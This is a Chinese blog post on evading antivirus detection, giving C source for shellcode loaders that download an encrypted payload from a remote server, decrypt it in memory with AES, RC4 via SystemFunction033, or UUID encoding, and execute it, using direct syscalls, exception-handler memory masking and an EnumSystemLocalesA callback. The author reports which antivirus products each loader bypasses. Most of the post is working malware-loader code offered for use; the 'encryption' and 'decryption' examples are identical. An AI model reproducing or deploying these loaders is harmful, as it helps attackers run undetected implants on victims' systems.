首页 > 系统相关 >免杀-内存中的加解密

免杀-内存中的加解密

时间:2024-04-06 22:25:42浏览次数:31  
标签:recvbuf iResult 免杀 加解密 char 内存 key printf ptr

3x0 内存中的加解密

3x0x0 SystemFunction032

SystemFunction032:一个系统函数,可以做到在内存中加解密,调用也很方便
或者沿着这个思路我们可以找找其他在内存中加解密的方法

加密代码:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;

int main() {
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char str_key[] = "helloWorld";
	 
	unsigned char shellcode[] = {};
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof key;
	 
	scdata.Buffer = (PUCHAR)shellcode;
	scdata.Length = sizeof shellcode;
	SystemFunction033(&scdata, &key);
	printf("unsigned char shellcode[] = { ");
	for (size_t i = 0; i < scdata.Length; i++) {
		if (!(i % 16)) printf("\n    ");
		printf("0x%02x, ", scdata.Buffer[i]);
		if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
	}

}

解密代码:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;

int main() {
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char str_key[] = "helloWorld";
	 
	unsigned char shellcode[] = {};
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof key;
	 
	scdata.Buffer = (PUCHAR)shellcode;
	scdata.Length = sizeof shellcode;
	SystemFunction033(&scdata, &key);
	printf("unsigned char shellcode[] = { ");
	for (size_t i = 0; i < scdata.Length; i++) {
		if (!(i % 16)) printf("\n    ");
		printf("0x%02x, ", scdata.Buffer[i]);
		if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
	}

}

综合利用代码:

//上面的函数都是上面ase和异常处理的
typedef NTSTATUS(WINAPI* _SystemFunction033)(
    struct ustring* memoryRegion,
    struct ustring* keyPointer);

struct ustring {
    DWORD Length;
    DWORD MaximumLength;
    PUCHAR Buffer;
} scdata, key;

int main(int argc, char** argv) {
   // const unsigned char* key1 = ;
    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5003";
    char* Resource = "beaase.bin";

    hEvent = CreateEvent(NULL, TRUE, false, NULL);

    PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    if (temp == NULL)
    {
        printf("AddVectoredExceptionHandler调用失败");
        getchar();
        return 0;
    }
    Hook();
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread1);

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   

   

   //aes解密
  
   AES aes(AESKeyLength::AES_128); 
   unsigned char key1[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
   
   unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, (unsigned int)recvbuf_size, key1);
   
   //xor解密
   /*int xorkey = 5 + 5;
   XORcrypt(a, recvbuf_size,xorkey);*/

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
   memcpy(shellcode_addr, a, recvbuf_size);
   //sys内存解密
   _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
   char str_key[] = "132abc";
   key.Buffer = (PUCHAR)(&str_key);
   key.Length = sizeof(str_key);
   scdata.Buffer = (PUCHAR)shellcode_addr;
   scdata.Length = recvbuf_size;
   SystemFunction033(&scdata, &key);

   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);

   ((void(*)())shellcode_addr)();


    return 0;

}

3x0x1 UUID内存加解密

参考文章:https://www.crisprx.top/archives/120
他们是把uuid写在shellcode加载器上面的,我给他改了一下,写成远程加载再加上uuid,再加上syscall,这里的uuid和上面的还有些不一样,是在内存中加解密
原理性问题参考上面文字地址。

效果:

火绒动静态都免;defender静态免动态被杀;360动静态都被杀
image.png
image.png

实现代码

uuid.bin文件需要自己修改,先用工具给shellcode加密,https://github.com/Haunted-Banshee/Shellcode-Hastur/image.png
复制到一个txt文件后,使用自带的替换功能,把前面的空格,双引号逗号都替换成空image.png
替换后为这样子
image.png
把文件后缀改成bin,用010等十六进制编辑器打开image.png
这里的0D0A都是换行符,但是我们在代码里面遍历uuid每一行的时候需要有个结束符\0,所以我们给替换成0000,至此我们的uuid.bin就可以了

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include "jumper.h"

#include <Rpc.h>

#pragma comment(lib, "Rpcrt4.lib")

#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;


DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        //printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        //printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            //printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
       // printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        // printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        //printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    // printf("\n[+] Sent %ld Bytes\n", iResult);

     // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        //printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr, 0, 400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            //printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            //printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0) {
            break;
            //printf("[+] Connection closed\n");
        }

        else
        {
            return 1;
            //printf("recv failed with error: %d\n", WSAGetLastError());
        }



        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}

int main()
{
    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5002";
    char* Resource = "uuid.bin";

    int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

    HANDLE hProc = GetCurrentProcess();
    LPVOID base_addr = NULL;
    LPVOID uuid_addr = NULL;
    HANDLE thandle = NULL;
    NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(
        hProc,
        &base_addr,
        0,
        (PSIZE_T)&recvbuf_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    //LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
    DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;

    NTSTATUS NTAVM1 = Sw3NtAllocateVirtualMemory(
        hProc,
        &uuid_addr,
        0,
        (PSIZE_T)&recvbuf_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    //memcpy(base_addr, recvbuf_ptr, recvbuf_size);
    Sw3NtWriteVirtualMemory(hProc, uuid_addr, recvbuf_ptr, recvbuf_size, NULL);

    // 循环遍历uuid列表 使用UuidFromStringA将字符串UUID转换为二进制UUID并加载到内存中
    for (int count = 0; count <= (recvbuf_size / 0x26 - 0x1); count++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_addr, (UUID*)mem_ptr);
        if (status != RPC_S_OK) {
            break;
        }
        uuid_addr =(void*)((uintptr_t)uuid_addr + 0x26);
        mem_ptr += 16;//uuid 16字节大小
    }

    

    DWORD oldProtect;
    //VirtualProtect(base_addr, recvbuf_size, PAGE_EXECUTE, &oldProtect);
    Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);

    EnumSystemLocalesA((LOCALE_ENUMPROCA)base_addr, 0);
    
}

注:

  • DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;这句代码的作用是为了保存shellcode内存首地址,用mem_ptr去遍历,遍历到最后mem_ptr的地址会是shellcode的尾地址,但是我们调用shellcode就直接调用base_addr即可

标签:recvbuf,iResult,免杀,加解密,char,内存,key,printf,ptr
From: https://www.cnblogs.com/xiaoxin07/p/18118015

相关文章

  • 免杀-异常处理_内存波动修改
    3x1远程分段加载shellcode+windows异常处理windows异常处理机制利用原理的文章:https://forum.butian.net/share/783异常处理的个人简单理解:我们在上线cs后,cs是默认设置了60秒睡眠的,也就是心跳包机制,这10秒内我们的代码将会被sleep阻塞,60秒后执行命令再次进入睡眠;而我们的代码......
  • [转帖]JVM 内存分析工具 MAT 的深度讲解与实践——进阶篇
    https://juejin.cn/post/6911624328472133646  注:本文原创,转发需标明作者及原文链接。欢迎关注 【0广告微信公众号:Q的博客】。本系列共三篇文章, 本文是系列第2篇——进阶篇,详细讲解MAT各种工具的核心功能、用法、适用场景,并在具体实战场景下讲解帮大家学习如何针......
  • 免杀-syscall
    3x3syscall我们windowsapi的调用,通过层层调用最终还是会进入ntdll的底层函数的调用,再通过syscall快速调用进入0环实现的代码,下面我将记录一些syscall的底层基础知识,最后的代码实现是通过现成项目直接快速调用敏感api,这种现成syscall的项目很多,但是感觉都比较久了免杀效果不太好......
  • 免杀杂谈
    0.零散知识0x00添加图标:尝试了几种大众方法,感觉还是这篇文章的方法好用https://www.sqlsec.com/2020/10/csexe.html#%E6%B7%BB%E5%8A%A0%E5%9B%BE%E6%A0%870x01添加签名:sigthief下载地址:https://github.com/secretsquirrel/SigThiefpythonsigthief.py-i"C:\ProgramFil......
  • 免杀-静态绕过总结
    2.静态绕过2x0远程分段加载shellcode我最经常使用的一种静态绕过的方法效果:能过火绒360动静态,但是一些添加用户的命令依然会拦截加上隐藏窗口360免不了,火绒还是可以#include<winsock2.h>#include<ws2tcpip.h>#include<Windows.h>#include<stdio.h>#pragmacomme......
  • 红队攻防之PowerShell基础免杀(二)
    Getbusylivingorgetbusydying什么是图片免杀?答:一般情况下,某些AV对图像未执行检测处理。这种情况下,它们可以仅使用有效负载数据来生成新图像,或将有效负载嵌入到现有图像的最低有效字节中,使其看起来像实际图像。这些图像以PNG格式保存,可进行无损压缩,不影响执行有效......
  • Cortex-M7 内存模型
    1前言        如图1所示, Cortex-M7最大支持4GB的内存寻址,并对内存映射(memorymap)做了初步的规定,将整个内存空间划分为了多个内存区域(region)。每个内存区域有着既定的内存类型(memorytype)和内存属性(memoryattribute),这两者决定了访存的具体行为。图1  Co......
  • Redis过期删除策略和内存淘汰机制
    过期删除策略1、惰性删除就是过期之后下一次取数据时,发现过期了,就删除它。2、定期删除定期删除一些过期的key。redis采用的时惰性删除+过期删除。问题:可能会漏掉一些key,从而导致OOM。内存淘汰机制3*2+2volatile-lru:从过期数据集中选择最近最少使用的数据淘汰。allKe......
  • 43.数据在内存中的存储
    1.整数在内存中的存储整数的2进制表⽰⽅法有三种,即原码、反码和补码三种表⽰⽅法均有符号位和数值位两部分,符号位都是⽤0表⽰“正”,⽤1表⽰“负”,⽽数值位最⾼位的⼀位是被当做符号位,剩余的都是数值位。正整数的原、反、补码都相同。负整数的三种表⽰⽅法各不相同。原......
  • Tomcat内存马回显
    回顾JSP马详情见:https://www.cnblogs.com/F12-blog/p/18111253之前说的都是利用jsp注入内存马,但Web服务器中的jsp编译器还是会编译生成对应的java文件然后进行编译加载并进行实例化,所以还是会落地。但如果直接注入,比如利用反序列化漏洞进行注入,由于request和respons......